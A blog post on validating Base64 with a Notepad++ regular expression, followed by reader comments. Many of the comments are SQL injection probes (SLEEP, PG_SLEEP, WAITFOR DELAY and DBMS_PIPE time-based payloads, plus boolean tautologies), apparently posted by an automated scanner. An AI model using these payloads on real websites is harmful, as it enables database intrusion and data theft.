A virtual teacher who reveals to you the great secrets of Base64

Validate Base64 using Notepad++

Validate Base64 using Notepad++

I love fast and flexible software. My love for it will increase exponentially if it is portable or supports such mode, so I can take the application everywhere and run it from anywhere. One of these applications is Notepad++, which I have been using for many years, and for the time being I am not going to switch to something else, even if it also has some disadvantages. The main drawback is that it supports only Windows, but it doesn’t affect me much, since I use Windows as the main OS.

Notepad++ is a free text editor that supports syntax highlighting for many programming languages and files types. It has many features and plugins that allow you to customize the application and automate various tasks. I am not going to describe all the functions of this editor, so I invite you to visit the official website, where you can learn everything about it.

Here I want to talk only about the search function, which is also a powerful feature of the Notepad++. Among other things it supports regular expressions, so you can do a lot of interesting things. For example, it was my faithful assistant while I was developing some tools, when I had to validate many Base64 values and find out why some values cannot be decoded. It turned out that in most cases the values contained invalid characters, so I used Notepad++ to find them. Of course, in this way I just checked for invalid characters, not so that it is a real Base64, but that was what I needed. Now you can use the Repair Tool or Base64 Validator, but I decided to share this method, perhaps it might be useful to you.

To validate Base64 using Notepad++ and find invalid characters:

  1. Start Notepad++
  2. Press Ctrl+N to open new tab
  3. Paste your Base64 value via Ctrl+V
  4. Open the Find&Replace dialog by pressing Ctrl+F
  5. Use [^A-Za-z0-9/+\s]+ as search pattern
  6. Switch “Replace Mode” to “Regular Expression”
  7. Click the “Find Next” button and analyze your results

The regular expression will find any characters that are not part of the Base64 Alphabet. I did not specify the padding character (equal sign), since it is important to know where the Base64 value ends and it would be useful to find concatenated strings, similar to this one: YWI=YWI=

Of course, you can change the regular expression to suit your needs or tune Notepad++ to make your job easier (for example, you can change highlight color to more easily notice the characters found).

Comments (26)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • slenop,
    Hello there .
  • fane,
    I ran into this by luck but it is ectremely helpful, and I particularly liked this blog post as it showed me something new on Notepad ++,which is a brilliant tool.
  • kml,
    Hello, What is this tool? Notepad++?
    • Marcelo,
      It is a code editor that recognizer diverses programming language, and you can ident multiple lines.
  • Solika,
    So I'm trying to take the .txt and get it to my phone so that I can create a shortcut that plays the decoded text. Problem is no where will take the text when I copy it without breaking it up super slowly to get that information to my phone.
    Any suggestions?
  • abcd,
    def base64Encode(stringtxt):
        global base64Encoded
        text = str(stringtxt)
        itemcount = 0
        binarycode = ""
        for handle_ascii in (text):
            itemcount = itemcount + 1
            ascii_code = ord(handle_ascii)
            numtohalf = 128
            bintxt = ""
            for binary in range (0,8):
                minustxt = ascii_code - numtohalf
                # Checks If Its a 1 or 0.
                if minustxt>=0:
                    ascii_code = minustxt
                    bintxt = bintxt + "1"
                else:
                    bintxt = bintxt + "0"
                numtohalf = numtohalf / 2
            binarycode = binarycode + bintxt
            if not (len(text)==itemcount):
                binarycode = binarycode + ""
        binarynum = 0
        binarysplited = ""
        binarynospace = ""
        for b64 in binarycode:
            binarysplited = binarysplited + b64
            binarynospace = binarynospace + b64
            binarynum = binarynum + 1
            if binarynum % 6==0 or binarynum==len(binarycode):
                binarysplited = binarysplited + " "
        if not len(binarynospace) % 6==0:
            padding = 6 - (len(binarynospace) % 6)
            binarynospace = binarynospace + str("0"*padding)
            padding = str(padding)
        s = f'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
        n = 1
        b64chars = [s[i:i+n] for i in range(0, len(s), n)]
        s = f'{binarynospace}'
        n = 6
        converted = [s[i:i+n] for i in range(0, len(s), n)]
        base64Encoded = ""
        biggest = 2**(6 - 1)
        for converting in converted:
            number = 0
            for convert in converting:
                number = number + int(biggest * int(convert))
                biggest = biggest / 2
            base64Encoded = base64Encoded + str(b64chars[number])
            biggest = 2**(6 - 1)
        while not len(binarynospace) % 8==0:
            binarynospace,base64Encoded = binarynospace + "000000",base64Encoded + "="

    base64Encode("INCLUDED BASE64 ENCODER WITH 51 LINES!!!")
    print(base64Encoded)
  • nqhXncMU,
    -1' OR 2+810-810-1=0+0+0+1 or 'TmGq0A6m'='
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    XUoVCyFD')) OR 838=(SELECT 838 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1)) OR 257=(SELECT 257 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1" OR 2+56-56-1=0+0+0+1 --
  • gBqsPxAZ,
    ndDmiEQY') OR 939=(SELECT 939 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    1
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    4jriXkbd' OR 198=(SELECT 198 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1 OR 2+898-898-1=0+0+0+1 --
  • ncMUFCMU,
    5qqkviBJ')) OR 408=(SELECT 408 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
  • ncMUFCMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • 4t65tt5,
    Sudip9999
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.